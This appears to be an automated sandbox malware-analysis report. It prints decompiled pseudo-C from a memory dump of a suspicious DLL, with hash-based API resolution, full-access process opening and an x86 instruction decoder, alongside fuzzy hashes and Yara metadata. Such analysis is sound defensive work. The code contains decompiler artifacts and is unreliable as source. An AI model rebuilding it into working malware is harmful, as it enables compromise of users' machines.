									E1000F84C( *((intOrPtr*)(_t439 + 8)), E1000F4F0( *((intOrPtr*)(_t439 + 4))) + 0xfffffffc);
									_t33 =  &(_t308[7]);
									 *_t33 = _t308[7] - 1;
									__eflags =  *_t33;
								}
								_t434 = _t434 - 1;
								__eflags = _t434;
								goto L20;
							}
							_t421 = 0;
							__eflags = 0;
							while(1) {
								_t392 =  *(E1000F4E0(_t439 + 0x28, _t421 * 4));
								__eflags = _t392 -  *_t404;
								if(_t392 ==  *_t404) {
									break;
								}
								_t421 = _t421 + 1;
								__eflags = _t421 -  *(_t439 + 0x7c);
								if(_t421 <  *(_t439 + 0x7c)) {
									continue;
								}
								goto L11;
							}
							__eflags = _t421 - 0xffffffff;
							if(_t421 == 0xffffffff) {
								goto L11;
							}
							L20:
							_t434 = _t434 + 1;
							__eflags = _t434 - _t308[1];
						} while (_t434 < _t308[1]);
						goto L21;
					}
				}
			}

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Strings

, xrefs: 1000AB3B

Memory Dump Source

Source File: 00000002.00000002.749018753.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.749011351.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.749036684.000000001001A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.749045623.000000001001D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.749056111.000000001001F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: f316cd89f61520e6bbaca91e9e5fd7c78ea1d630a68c88449f3782008d0636a0
Instruction ID: 00802be3918ea6aeb11fe45908ae931f8062d9273d37329102aa76dba10a21a3
Opcode Fuzzy Hash: f316cd89f61520e6bbaca91e9e5fd7c78ea1d630a68c88449f3782008d0636a0
Instruction Fuzzy Hash: 60128C755082019FE714DF24C882A6FB7E5FFC5394F108A2DF899972AADB30AC45DB42

Uniqueness

Uniqueness Score: -1.00%

Function 1000846C, Relevance: 1.8, Strings: 1, Instructions: 531
COMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E1000846C(signed int* __ecx, intOrPtr __edx, void* __eflags) {
				void* __esi;
				void* __ebp;
				signed int* _t173;
				signed int* _t178;
				void* _t180;
				void* _t181;
				intOrPtr* _t188;
				signed int _t202;
				intOrPtr* _t211;
				intOrPtr* _t212;
				intOrPtr* _t217;
				signed int* _t218;
				void* _t219;
				void* _t220;
				void* _t237;
				void* _t238;
				signed int* _t246;
				void* _t247;
				signed int* _t258;
				intOrPtr* _t269;
				signed int* _t277;
				intOrPtr* _t279;
				void* _t283;
				void* _t285;
				void* _t287;
				signed int* _t296;
				void* _t299;
				signed int* _t308;
				intOrPtr* _t310;
				signed int _t315;
				intOrPtr _t317;
				signed int* _t322;
				signed int _t323;
				signed int _t324;
				void* _t343;
				void* _t414;
				signed int _t415;
				signed int* _t421;
				signed int _t427;
				intOrPtr* _t428;
				intOrPtr* _t429;
				signed int _t431;
				signed int _t433;
				signed int _t437;
				signed int _t438;
				signed int _t439;
				signed int _t442;
				void* _t443;
				signed int _t444;
				void* _t445;
				signed int _t446;
				intOrPtr* _t449;

				 *_t449 = __ecx + 0x1c;
				 *((intOrPtr*)(_t449 + 0x68)) = __edx;
				 *(_t449 + 4) = __ecx;
				 *(_t449 + 0x84) = 0;
				 *((intOrPtr*)(_t449 + 0x78)) = __ecx + 4;
				while(1) {
					_t413 =  *(_t449 + 0x6c);
					E1000B69C(_t449 + 0x24,  *(_t449 + 0x6c), 0x7fffffff);
					if(E1000F4F4(_t449 + 0x24) == 0) {
						goto L3;
					} else {
						( *(_t449 + 4))[0xb] = 0;
						E1000F678(_t449 + 0x24);
					}
					L60:
					_t317 = 0xffffffffffffffff;
					L62:
					if(_t317 != 0) {
						L65:
						return _t317;
					}
					if( *(_t449 + 0x84) != 0x20) {
						E1001223C(0x5dc, _t413, _t430);
						 *(_t449 + 0x84) =  *(_t449 + 0x84) + 1;
						continue;
					}
					_t317 = 0xffffffffffffffff;
					goto L65;
					L3:
					__eflags =  *( *(_t449 + 4));
					if( *( *(_t449 + 4)) <= 0) {
						L21:
						__eflags =  *(_t449 + 0x20);
						if( *(_t449 + 0x20) <= 0) {
							L33:
							E1000F678(_t449 + 0x24);
							_t173 =  *(_t449 + 4);
							__eflags = _t173[0xb];
							if(_t173[0xb] == 0) {
								L46:
								 *((intOrPtr*)(_t449 + 8)) = 0;
								 *((intOrPtr*)(_t449 + 0xc)) = 0;
								E1000F5A8(_t449 + 0x14, 0);
								 *((intOrPtr*)(_t449 + 0x34)) =  *((intOrPtr*)(_t449 + 0x68));
								 *((intOrPtr*)(_t449 + 0x38)) = 0;
								E1000F5A8(_t449 + 0x40, 0);
								_t178 =  *(_t449 + 4);
								_t414 = 0x40;
								__eflags = _t178[6] - 0x40;
								_t415 =  <  ? _t178[6] : _t414;
								 *(_t449 + 0x80) = _t415;
								__eflags = _t415;
								if(_t415 <= 0) {
									L57:
									_t413 = E1000F4E0(_t449 + 0x14, 0);
									_t180 = E10012928( *((intOrPtr*)(_t449 + 0xc)), _t179, 0x3e8);
									_t132 = _t180 - 0x80; // -128
									_t181 = _t132;
									__eflags = _t181 - 0x3f;
									_t315 =  <=  ? _t181 : _t180;
									__eflags = _t315 - 0x102;
									if(_t315 == 0x102) {
										L59:
										E1000B608(_t449 + 0x34);
										E1000B608(_t449 + 8);
										goto L60;
									}
									__eflags = _t315 - 0x3f;
									if(_t315 <= 0x3f) {
										__eflags = _t315 << 2;
										 *((intOrPtr*)( *((intOrPtr*)(_t449 + 8)) + 0x2c)) =  *((intOrPtr*)(E1000F4E0( *(_t449 + 4), _t315 << 2)));
										_t188 = E1000F4E0( *(_t449 + 0x7c), _t315 << 2);
										_t413 =  *(_t449 + 4);
										 *((intOrPtr*)(_t413 + 0x30)) =  *_t188;
										_t317 =  *((intOrPtr*)(_t413 + 0x2c));
										E1000B608(_t449 + 0x34);
										E1000B608(_t449 + 8);
										goto L62;
									}
									goto L59;
								}
								_t446 = 0;
								__eflags = 0;
								while(1) {
									E1000CAD0(_t449 + 0x4c);
									_t413 = 0;
									_t343 = _t449 + 0x4c;
									 *((char*)(_t343 + 4)) = 0;
									 *((intOrPtr*)(_t343 + 0x20)) = 0;
									__eflags = E1000C2C4(_t343);
									if(__eflags != 0) {
										break;
									}
									E1000F84C(_t449 + 0x14, E1000F4F0(_t449 + 0x10) + 4);
									 *((intOrPtr*)(E1000F4E0(_t449 + 0x14, E1000F4F0(_t449 + 0x10) + 0xfffffffc))) =  *((intOrPtr*)(_t449 + 0x4c));
									 *((intOrPtr*)(_t449 + 0xc)) =  *((intOrPtr*)(_t449 + 0xc)) + 1;
									_t202 = E1001303C(0xfe338407, 0xa8c8a645);
									__eflags = _t202;
									if(_t202 == 0) {
										L51:
										_t413 =  *(_t449 + 0x6c);
										__eflags = _t413;
										if(__eflags == 0) {
											break;
										}
										__eflags = _t413 - 0xffffffff;
										if(__eflags != 0) {
											E1000F84C(_t449 + 0x40, E1000F4F0(_t449 + 0x3c) + 4);
											 *(E1000F4E0(_t449 + 0x40, E1000F4F0(_t449 + 0x3c) + 0xfffffffc)) =  *(_t449 + 0x6c);
											 *((intOrPtr*)(_t449 + 0x4c - 0x14)) =  *((intOrPtr*)(_t449 + 0x4c - 0x14)) + 1;
											E1000CD68(_t449 + 0x4c, __eflags);
											_t446 = _t446 + 1;
											__eflags = _t446 -  *(_t449 + 0x80);
											if(_t446 <  *(_t449 + 0x80)) {
												continue;
											}
											_t431 = 0;
											__eflags = 0;
											do {
												_t211 = E1000F4E0( *(_t449 + 4), _t431 * 4);
												_t212 = E1000F4E0(_t449 + 0x40, _t431 * 4);
												E10008B9C( *_t211, E100102D4(0xfe338407, 0x1a9c1df5),  *_t212, 0, 0);
												_t431 = _t431 + 1;
												__eflags = _t431 -  *(_t449 + 0x80);
											} while (_t431 <  *(_t449 + 0x80));
											goto L57;
										}
										break;
									}
									_t413 = 0;
									_push(2);
									_push(0);
									_push(0);
									_push(_t449 + 0x6c);
									_push( *((intOrPtr*)(_t449 + 0x78)));
									_push( *((intOrPtr*)(_t449 + 0x60)));
									_push(0xffffffff);
									asm("int3");
									asm("int3");
									__eflags = _t202;
									if(__eflags != 0) {
										break;
									}
									goto L51;
								}
								E1000CD68(_t449 + 0x4c, __eflags);
								goto L59;
							}
							_t427 =  *_t173;
							__eflags = _t427;
							if(_t427 <= 0) {
								goto L46;
							}
							_t430 = 0;
							__eflags = 0;
							_t322 =  &(_t173[1]);
							while(1) {
								_t433 = _t430 * 4;
								_t217 = E1000F4E0(_t322, _t433);
								_t218 =  *(_t449 + 4);
								__eflags =  *_t217 - _t218[0xc];
								if( *_t217 == _t218[0xc]) {
									break;
								}
								_t430 = _t430 + 1;
								__eflags = _t430 - _t427;
								if(_t430 < _t427) {
									continue;
								}
								goto L46;
							}
							__eflags = _t430 - 0xffffffff;
							if(_t430 != 0xffffffff) {
								_t219 = E1000F4F0( *_t449);
								__eflags = _t219 - _t433;
								if(_t219 > _t433) {
									 *((intOrPtr*)(_t449 + 0x74)) = 4 + _t430 * 4;
									_t247 = E1000F4F0( *_t449);
									__eflags = _t247 -  *((intOrPtr*)(_t449 + 0x74));
									if(_t247 >  *((intOrPtr*)(_t449 + 0x74))) {
										 *((intOrPtr*)(_t449 + 0x90)) = E1000F4E0( *(_t449 + 4), _t433);
										 *((intOrPtr*)(_t449 + 0x8c)) = E1000F4E0( *(_t449 + 4),  *((intOrPtr*)(_t449 + 0x74)));
										E100138C8( *((intOrPtr*)(_t449 + 0x98)),  *((intOrPtr*)(_t449 + 0x90)), E1000F4F0( *_t449) -  *((intOrPtr*)(_t449 + 0x74)));
										_t449 = _t449 + 0xc;
									}
									E1000F84C( *(_t449 + 4), E1000F4F0( *_t449) + 0xfffffffc);
									_t421 =  *(_t449 + 4);
									_t75 =  &(_t421[6]);
									 *_t75 = _t421[6] - 1;
									__eflags =  *_t75;
								}
								_t220 = E1000F4F0(_t322);
								__eflags = _t220 - _t433;
								if(_t220 > _t433) {
									_t430 = 4 + _t430 * 4;
									_t237 = E1000F4F0(_t322);
									__eflags = _t237 - _t430;
									if(_t237 > _t430) {
										_t238 = E1000F4E0(_t322, _t433);
										 *((intOrPtr*)(_t449 + 0x94)) = E1000F4E0(_t322, _t430);
										E100138C8(_t238,  *((intOrPtr*)(_t449 + 0x98)), E1000F4F0(_t322) - _t430);
										_t449 = _t449 + 0xc;
									}
									E1000F84C(_t322, E1000F4F0(_t322) + 0xfffffffc);
									_t246 =  *(_t449 + 4);
									 *_t246 =  *_t246 - 1;
									__eflags =  *_t246;
								}
								E1000F84C( *(_t449 + 4), E1000F4F0( *_t449) + 4);
								 *(E1000F4E0( *(_t449 + 4), E1000F4F0( *_t449) + 0xfffffffc)) = ( *(_t449 + 4))[0xb];
								( *(_t449 + 4))[6] = ( *(_t449 + 4))[6] + 1;
								E1000F84C(_t322, E1000F4F0(_t322) + 4);
								 *(E1000F4E0(_t322, E1000F4F0(_t322) + 0xfffffffc)) = ( *(_t449 + 4))[0xc];
								 *( *(_t449 + 4)) =  *( *(_t449 + 4)) + 1;
							}
							goto L46;
						}
						_t323 = 0;
						__eflags = 0;
						do {
							 *(_t449 + 0x7c) = _t323 * 4;
							_t428 = E1000F4E0(_t449 + 0x28, _t323 * 4);
							_t258 =  *(_t449 + 4);
							_t430 =  *_t258;
							__eflags = _t430;
							if(_t430 <= 0) {
								L29:
								_t437 = E1001303C(0x10154545, 0xc2a75cb8);
								__eflags = _t437;
								if(_t437 != 0) {
									_t439 =  *_t437(0x1fffff, 0,  *((intOrPtr*)(E1000F4E0(_t449 + 0x28,  *(_t449 + 0x7c)))));
									__eflags = _t439;
									if(_t439 != 0) {
										E1000F84C( *(_t449 + 4), E1000F4F0( *_t449) + 4);
										 *(E1000F4E0( *(_t449 + 4), E1000F4F0( *_t449) + 0xfffffffc)) = _t439;
										 *((intOrPtr*)( *((intOrPtr*)(_t449 + 0x28 - 0x20)) + 0x18)) =  *((intOrPtr*)( *((intOrPtr*)(_t449 + 0x28 - 0x20)) + 0x18)) + 1;
										_t269 = E1000F4E0(_t449 + 0x28,  *(_t449 + 0x7c));
										 *(_t449 + 0x70) =  &(( *(_t449 + 4))[1]);
										E1000F84C( *((intOrPtr*)(_t449 + 0x74)), E1000F4F0( &(( *(_t449 + 4))[1])) + 4);
										 *((intOrPtr*)(E1000F4E0( *((intOrPtr*)(_t449 + 0x74)), E1000F4F0( *(_t449 + 0x70)) + 0xfffffffc))) =  *_t269;
										_t277 =  *(_t449 + 4);
										 *_t277 =  *_t277 + 1;
										__eflags =  *_t277;
									}
								}
								goto L32;
							}
							_t438 = 0;
							__eflags = 0;
							 *(_t449 + 0x88) =  &(_t258[1]);
							while(1) {
								_t279 = E1000F4E0( *((intOrPtr*)(_t449 + 0x8c)), _t438 * 4);
								__eflags =  *_t279 -  *_t428;
								if( *_t279 ==  *_t428) {
									break;
								}
								_t438 = _t438 + 1;
								__eflags = _t438 - _t430;
								if(_t438 < _t430) {
									continue;
								}
								goto L29;
							}
							__eflags = _t438 - 0xffffffff;
							if(_t438 == 0xffffffff) {
								goto L29;
							}
							L32:
							_t323 = _t323 + 1;
							__eflags = _t323 -  *(_t449 + 0x20);
						} while (_t323 <  *(_t449 + 0x20));
						goto L33;
					} else {
						_t324 = 0;
						__eflags = 0;
						do {
							 *(_t449 + 0x64) = _t324 * 4;
							_t429 = E1000F4E0( *(_t449 + 0x7c), _t324 * 4);
							_t430 =  *(_t449 + 0x20);
							__eflags = _t430;
							if(_t430 <= 0) {
								L11:
								_t430 =  &(( *(_t449 + 4))[1]);
								_t283 = E1000F4F0( &(( *(_t449 + 4))[1]));
								__eflags = _t283 -  *(_t449 + 0x64);
								if(_t283 >  *(_t449 + 0x64)) {
									_t443 = 4 + _t324 * 4;
									_t299 = E1000F4F0(_t430);
									__eflags = _t299 - _t443;
									if(_t299 > _t443) {
										 *((intOrPtr*)(_t449 + 0x9c)) = E1000F4E0(_t430,  *(_t449 + 0x64));
										 *((intOrPtr*)(_t449 + 0x98)) = E1000F4E0(_t430, _t443);
										E100138C8( *((intOrPtr*)(_t449 + 0xa4)),  *((intOrPtr*)(_t449 + 0x9c)), E1000F4F0(_t430) - _t443);
										_t449 = _t449 + 0xc;
									}
									E1000F84C(_t430, E1000F4F0(_t430) + 0xfffffffc);
									_t308 =  *(_t449 + 4);
									 *_t308 =  *_t308 - 1;
									__eflags =  *_t308;
								}
								_t442 = E1001303C(0xfe338407, 0x77fa1d17);
								__eflags = _t442;
								if(_t442 != 0) {
									 *_t442( *(E1000F4E0( *(_t449 + 4),  *(_t449 + 0x64))));
								}
								_t285 = E1000F4F0( *_t449);
								__eflags = _t285 -  *(_t449 + 0x64);
								if(_t285 >  *(_t449 + 0x64)) {
									_t445 = 4 + _t324 * 4;
									_t287 = E1000F4F0( *_t449);
									__eflags = _t287 - _t445;
									if(_t287 > _t445) {
										_t430 = E1000F4E0( *(_t449 + 4),  *(_t449 + 0x64));
										 *((intOrPtr*)(_t449 + 0xa0)) = E1000F4E0( *(_t449 + 4), _t445);
										E100138C8(_t288,  *((intOrPtr*)(_t449 + 0xa4)), E1000F4F0( *_t449) - _t445);
										_t449 = _t449 + 0xc;
									}
									E1000F84C( *(_t449 + 4), E1000F4F0( *_t449) + 0xfffffffc);
									_t296 =  *(_t449 + 4);
									_t33 =  &(_t296[6]);
									 *_t33 = _t296[6] - 1;
									__eflags =  *_t33;
								}
								_t324 = _t324 - 1;
								__eflags = _t324;
								goto L20;
							}
							_t444 = 0;
							__eflags = 0;
							while(1) {
								_t310 = E1000F4E0(_t449 + 0x28, _t444 * 4);
								__eflags =  *_t310 -  *_t429;
								if( *_t310 ==  *_t429) {
									break;
								}
								_t444 = _t444 + 1;
								__eflags = _t444 - _t430;
								if(_t444 < _t430) {
									continue;
								}
								goto L11;
							}
							__eflags = _t444 - 0xffffffff;
							if(_t444 == 0xffffffff) {
								goto L11;
							}
							L20:
							_t324 = _t324 + 1;
							__eflags = _t324 -  *( *(_t449 + 4));
						} while (_t324 <  *( *(_t449 + 4)));
						goto L21;
					}
				}
			}

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Strings

, xrefs: 10008A5E

Memory Dump Source

Source File: 00000002.00000002.749018753.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.749011351.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.749036684.000000001001A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.749045623.000000001001D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.749056111.000000001001F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 887bce6b44e58bdc07887652d35a07c6200a51f35c5fdbbf3387b90d89984ff0
Instruction ID: 1bb0d61435caef0e58cc5acfc0dead8aa63cbeb4aacce1040875febecc2d3119
Opcode Fuzzy Hash: 887bce6b44e58bdc07887652d35a07c6200a51f35c5fdbbf3387b90d89984ff0
Instruction Fuzzy Hash: 76126C752083049FE714DF24C981A6FB7E5FF85784F10892DF999872AAEB30AD04DB42

Uniqueness

Uniqueness Score: -1.00%

Function 10019348, Relevance: 1.8, Strings: 1, Instructions: 529
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E10019348(intOrPtr __ecx, intOrPtr __edx, void* __eflags) {
				signed int _t250;
				signed char _t251;
				signed char* _t254;
				char _t255;
				signed short _t256;
				char _t257;
				signed short _t260;
				signed int _t261;
				signed int _t262;
				void* _t264;
				void* _t272;
				void* _t273;
				signed short* _t274;
				signed char _t275;
				signed int _t277;
				signed int _t278;
				void* _t282;
				signed int _t288;
				unsigned int _t290;
				signed int _t292;
				signed int _t293;
				signed int _t294;
				signed int _t295;
				unsigned int _t296;
				unsigned int _t297;
				signed int _t299;
				unsigned int _t301;
				signed char _t302;
				signed int _t304;
				signed char _t307;
				signed char _t308;
				signed int _t309;
				void* _t312;
				void* _t313;
				signed int _t314;
				signed int _t316;
				signed int _t319;
				signed int _t321;
				signed int _t338;
				signed int _t339;
				signed int _t343;
				signed int _t345;
				unsigned int* _t346;
				unsigned int _t354;
				signed int _t355;
				void* _t357;
				signed int _t364;
				signed int _t366;
				signed int _t383;
				signed int _t388;
				signed int _t391;
				signed int _t395;
				signed int _t396;
				signed int _t397;
				signed int _t398;
				signed int _t399;
				signed int _t400;
				signed int _t403;
				signed int _t408;
				signed int _t411;
				signed int _t412;
				signed int _t413;
				signed int _t417;
				signed int _t419;
				signed int _t424;
				void* _t426;
				signed int* _t427;

				 *((intOrPtr*)(_t426 + 0x24)) = __edx;
				 *((intOrPtr*)(_t426 + 0x10)) = __ecx;
				 *((intOrPtr*)(_t426 + 0x14)) = __ecx;
				_t274 =  *(_t426 + 0x48);
				E10013670( *(_t426 + 0x48), 0, 0x1c);
				_t427 = _t426 + 0xc;
				_t338 = 0;
				_t282 = 0x10;
				do {
					_t250 =  *_t274 & 0x000000ff;
					_t274 =  &(_t274[0]);
					if(_t250 == 0xf3) {
						_t383 = _t427[0x10];
						_t339 = _t338 | 0x00000004;
						L17:
						_t338 = _t339 & 0x000000ff;
						 *(_t383 + 1) = _t250;
						goto L18;
					}
					if(_t250 == 0xf2) {
						_t383 = _t427[0x10];
						_t339 = _t338 | 0x00000002;
						goto L17;
					}
					if(_t250 == 0xf0) {
						_t338 = (_t338 | 0x00000020) & 0x000000ff;
						 *(_t427[0x10] + 2) = _t250;
						goto L18;
					}
					if(_t250 == 0x26 || _t250 == 0x2e || _t250 == 0x36 || _t250 == 0x3e) {
						L13:
						_t338 = (_t338 | 0x00000040) & 0x000000ff;
						 *(_t427[0x10] + 3) = _t250;
					} else {
						_t6 = _t250 - 0x64; // -100
						if(_t6 <= 1) {
							goto L13;
						}
						if(_t250 == 0x66) {
							_t338 = (_t338 | 0x00000008) & 0x000000ff;
							 *(_t427[0x10] + 4) = _t250;
							goto L18;
						}
						if(_t250 != 0x67) {
							break;
						} else {
							_t338 = _t338 | 0x00000010;
							 *(_t427[0x10] + 5) = _t250;
							goto L18;
						}
					}
					L18:
					_t282 = _t282 + 0xff;
				} while (_t282 != 0);
				_t388 = _t427[0x10];
				_t285 =  !=  ? _t338 : 1;
				_t343 = _t338 << 0x17;
				 *(_t388 + 6) = _t250;
				 *_t427 =  !=  ? _t338 : 1;
				 *(_t388 + 0x18) = _t343;
				if(_t250 == 0xf) {
					_t250 =  *_t274 & 0x000000ff;
					_t274 =  &(_t274[0]);
					_t427[5] = _t250;
					 *(_t427[0x10] + 7) = _t250;
					_t427[2] = _t427[4] + 0x4a;
				} else {
					_t22 = _t250 - 0xa0; // -160
					_t427[5] =  *(_t427[0x10] + 7) & 0x000000ff;
					if(_t22 <= 3) {
						_t424 =  *_t427;
						_t382 =  !=  ? (_t424 | 0x00000008) & 0x000000ff : _t424 & 0x000000f7;
						 *_t427 =  !=  ? (_t424 | 0x00000008) & 0x000000ff : _t424 & 0x000000f7;
					}
				}
				_t354 = _t250 >> 2;
				_t391 = _t250 & 0x00000003;
				_t345 = _t427[2];
				_t427[3] = _t391;
				_t427[6] = _t354;
				_t288 =  *(( *(_t354 + _t345) & 0x000000ff) + _t391 + _t345) & 0x000000ff;
				_t427[1] = _t288;
				if(_t288 == 0xff) {
					_t343 = _t343 + 0x3000;
					_t288 = 0 | (_t250 & 0xfffffffd) == 0x00000024;
					 *(_t427[0x10] + 0x18) = _t343;
					_t427[1] = _t288;
				}
				if((_t427[1] & 0x00000080) != 0) {
					_t290 =  *((_t288 & 0x0000007f) + _t345) & 0x0000ffff;
					_t427[1] = _t290;
					_t395 = _t290 >> 8;
				} else {
					_t395 = 0;
				}
				if(_t427[5] != 0 && ( *_t427 &  *(( *(_t427[6] + _t427[4] + 0x130) & 0x000000ff) + _t427[3] + _t427[4] + 0x130) & 0x000000ff) != 0) {
					_t343 = _t343 | 0x00003000;
					 *(_t427[0x10] + 0x18) = _t343;
				}
				if((_t427[1] & 0x00000001) == 0) {
					if(( *_t427 & 0x00000020) != 0) {
						_t343 = _t343 | 0x00009000;
						 *(_t427[0x10] + 0x18) = _t343;
					}
					goto L114;
				} else {
					_t355 = _t427[0x10];
					_t343 = _t343 | 0x00000001;
					 *(_t355 + 0x18) = _t343;
					_t296 =  *_t274 & 0x000000ff;
					_t346 =  &(_t427[6]);
					 *_t346 = _t296;
					 *(_t355 + 8) = _t296;
					_t297 = _t296 >> 6;
					_t427[3] = _t297;
					 *(_t355 + 9) = _t297;
					_t299 =  *_t346 & 0x00000007;
					_t427[7] = _t299;
					 *(_t355 + 0xb) = _t299;
					_t301 =  *_t346 & 0x0000003f;
					 *_t346 = _t301;
					_t302 = _t301 >> 3;
					_t427[2] = _t302;
					 *(_t355 + 0xa) = _t302;
					if(_t395 != 0 && (_t395 << _t302 & 0x00000080) != 0) {
						_t343 = _t343 | 0x00003000;
						 *(_t427[0x10] + 0x18) = _t343;
					}
					if(_t427[5] == 0) {
						_t80 = _t250 - 0xd9; // -217
						if(_t80 <= 6) {
							_t81 = _t250 + 0x27; // 0x27
							_t417 = _t81 & 0x000000ff;
							if(_t427[3] != 3) {
								_t419 = ( *(_t417 + _t427[4] + 0xf1) & 0x000000ff) << _t427[2];
							} else {
								_t419 = ( *(_t427[4] + _t427[2] + 0xf8 + _t417 * 8) & 0x000000ff) << _t427[7];
							}
							if((_t419 & 0x00000080) != 0) {
								_t343 = _t343 | 0x00003000;
								 *(_t427[0x10] + 0x18) = _t343;
							}
						}
					}
					if(( *_t427 & 0x00000020) == 0) {
						L52:
						if(_t427[5] == 0) {
							if(_t250 == 0x8c) {
								L85:
								if(_t427[2] <= 5) {
									L87:
									_t427[5] = _t274[0];
									_t427[4] =  &(_t274[1]);
									if(_t427[2] <= 1) {
										if(_t250 != 0xf6) {
											_t309 = _t427[1];
											_t310 =  ==  ? _t309 | 0xffffff90 : _t309;
											_t427[1] =  ==  ? _t309 | 0xffffff90 : _t309;
										} else {
											_t427[1] = _t427[1] | 0xffffff82;
										}
									}
									if(_t427[3] == 0) {
										if(( *_t427 & 0x00000010) == 0) {
											_t264 = 4;
											_t357 =  ==  ? _t264 : 0;
										} else {
											_t273 = 2;
											_t357 =  ==  ? _t273 : 0;
										}
									} else {
										if(_t427[3] == 1) {
											_t357 = 1;
										} else {
											if(_t427[3] == 2) {
												_t357 = (( !( *_t427) & 0x00000010) >> 3) + 2;
											} else {
												_t357 = 0;
											}
										}
									}
									if(_t427[3] != 3 && _t427[7] == 4 && ( *_t427 & 0x00000010) == 0) {
										_t307 = _t427[5];
										_t343 = _t343 | 0x00000002;
										_t403 = _t427[0x10];
										_t427[4] =  &(_t274[1]);
										 *(_t403 + 0xc) = _t307;
										_t308 = _t307 & 0x00000007;
										 *(_t403 + 0x18) = _t343;
										 *(_t403 + 0xd) = _t307 >> 6;
										 *(_t403 + 0xe) = (_t307 & 0x0000003f) >> 3;
										 *(_t403 + 0xf) = _t308;
										if(_t308 == 5) {
											_t272 = 4;
											_t357 =  ==  ? _t272 : _t357;
										}
									}
									if(_t357 == 1) {
										_t304 = _t427[0x10];
										_t343 = _t343 | 0x00000020;
										 *(_t304 + 0x18) = _t343;
										 *((char*)(_t304 + 0x14)) =  *(_t427[4] - 1);
									} else {
										if(_t357 == 2) {
											_t277 = _t427[0x10];
											_t343 = _t343 | 0x00000040;
											 *(_t277 + 0x18) = _t343;
											 *((short*)(_t277 + 0x14)) =  *(_t427[4] - 1) & 0x0000ffff;
										} else {
											if(_t357 == 4) {
												_t278 = _t427[0x10];
												_t343 = _t343 | 0x00000080;
												 *(_t278 + 0x18) = _t343;
												 *(_t278 + 0x14) =  *(_t427[4] - 1);
											}
										}
									}
									_t195 = _t427[4] - 1; // -1
									_t274 = _t357 + _t195;
									L114:
									_t251 = _t427[1];
									_t292 = _t251 & 0x00000040;
									if((_t251 & 0x00000010) == 0) {
										L121:
										if((_t427[1] & 0x00000004) == 0) {
											L129:
											if((_t427[1] & 0x00000002) != 0) {
												_t396 = _t427[0x10];
												_t343 = _t343 | 0x00000004;
												 *(_t396 + 0x18) = _t343;
												_t257 =  *_t274;
												_t274 =  &(_t274[0]);
												 *((char*)(_t396 + 0x10)) = _t257;
											}
											if(_t292 == 0) {
												if((_t427[1] & 0x00000020) != 0) {
													_t293 = _t427[0x10];
													_t343 = _t343 | 0x00000104;
													 *(_t293 + 0x18) = _t343;
													_t255 =  *_t274;
													_t274 =  &(_t274[0]);
													 *((char*)(_t293 + 0x10)) = _t255;
												}
												goto L135;
											} else {
												L132:
												_t294 = _t427[0x10];
												_t343 = _t343 | 0x00000110;
												 *(_t294 + 0x18) = _t343;
												_t256 =  *_t274;
												_t274 =  &(_t274[2]);
												 *(_t294 + 0x10) = _t256;
												L135:
												_t275 = _t274 - _t427[0xf];
												if(_t275 <= 0xf) {
													 *(_t427[0x10]) = _t275;
												} else {
													_t254 = _t427[0x10];
													_t275 = 0xf;
													_t254[0x18] = _t343 | 0x00005000;
													 *_t254 = _t275;
												}
												return _t275 & 0x000000ff;
											}
										}
										if((_t343 & 0x00000010) == 0) {
											if((_t343 & 0x00000008) == 0) {
												_t397 = _t427[0x10];
												_t343 = _t343 | 0x00000008;
												 *(_t397 + 0x18) = _t343;
												 *((short*)(_t397 + 0x10)) =  *_t274 & 0x0000ffff;
												L128:
												_t274 =  &(_t274[1]);
												goto L129;
											}
											_t398 = _t427[0x10];
											_t343 = _t343 | 0x00000800;
											L126:
											 *(_t398 + 0x18) = _t343;
											 *((short*)(_t398 + 0x14)) =  *_t274 & 0x0000ffff;
											goto L128;
										}
										_t398 = _t427[0x10];
										_t343 = _t343 | 0x00000008;
										goto L126;
									}
									if(_t292 == 0) {
										if(( *_t427 & 0x00000008) == 0) {
											_t399 = _t427[0x10];
											_t343 = _t343 | 0x00000010;
											 *(_t399 + 0x18) = _t343;
											_t260 =  *_t274;
											_t274 =  &(_t274[2]);
											 *(_t399 + 0x10) = _t260;
										} else {
											_t400 = _t427[0x10];
											_t343 = _t343 | 0x00000008;
											 *(_t400 + 0x18) = _t343;
											_t261 =  *_t274 & 0x0000ffff;
											_t274 =  &(_t274[1]);
											 *(_t400 + 0x10) = _t261;
										}
										goto L121;
									}
									if(( *_t427 & 0x00000008) == 0) {
										goto L132;
									}
									_t295 = _t427[0x10];
									_t343 = _t343 | 0x00000108;
									 *(_t295 + 0x18) = _t343;
									_t262 =  *_t274 & 0x0000ffff;
									_t274 =  &(_t274[1]);
									 *(_t295 + 0x10) = _t262;
									goto L135;
								}
								L86:
								_t343 = _t343 | 0x00011000;
								 *(_t427[0x10] + 0x18) = _t343;
								goto L87;
							}
							if(_t250 != 0x8e) {
								L66:
								if(_t427[3] != 3) {
									if(_t427[5] == 0) {
										goto L87;
									}
									if(_t250 == 0xd7 || _t250 == 0xf7) {
										L83:
										if(( *_t427 & 0x00000009) != 0) {
											goto L86;
										}
									} else {
										if(_t250 == 0xd6) {
											if(( *_t427 & 0x00000006) != 0) {
												goto L86;
											}
											goto L87;
										}
										if(_t250 == 0xc5) {
											goto L86;
										}
										if(_t250 == 0x50) {
											goto L83;
										}
									}
									goto L87;
								}
								_t364 = _t427[4];
								_t312 = _t364 + 0x1da;
								_t366 =  !=  ? _t312 : _t364 + 0x1cb;
								_t313 =  !=  ? _t427[9] + _t364 : _t312;
								_t427[4] = _t366;
								if(_t366 == _t313) {
									goto L87;
								} else {
									goto L68;
								}
								while(1) {
									L68:
									_t408 = _t427[4];
									if(_t250 ==  *_t408) {
										break;
									}
									_t411 = _t408 + 3;
									_t427[4] = _t411;
									if(_t411 != _t313) {
										continue;
									}
									goto L87;
								}
								_t314 = _t408;
